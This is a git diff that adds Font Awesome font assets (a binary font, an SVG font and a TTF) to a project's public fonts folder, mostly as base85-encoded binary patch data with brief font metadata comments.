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 HJNN#7)2yBs literal 0 HcmV?d00001 diff --git a/pkg/media/opus/public/fonts/fa-regular-400.svg b/pkg/media/opus/public/fonts/fa-regular-400.svg new file mode 100644 index 000000000..13180f6ee --- /dev/null +++ b/pkg/media/opus/public/fonts/fa-regular-400.svg @@ -0,0 +1,803 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/pkg/media/opus/public/fonts/fa-regular-400.ttf b/pkg/media/opus/public/fonts/fa-regular-400.ttf new file mode 100644 index 0000000000000000000000000000000000000000..abe99e20c38a23e95295917d6a5cdb49a8489eb8 GIT binary patch literal 34092 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 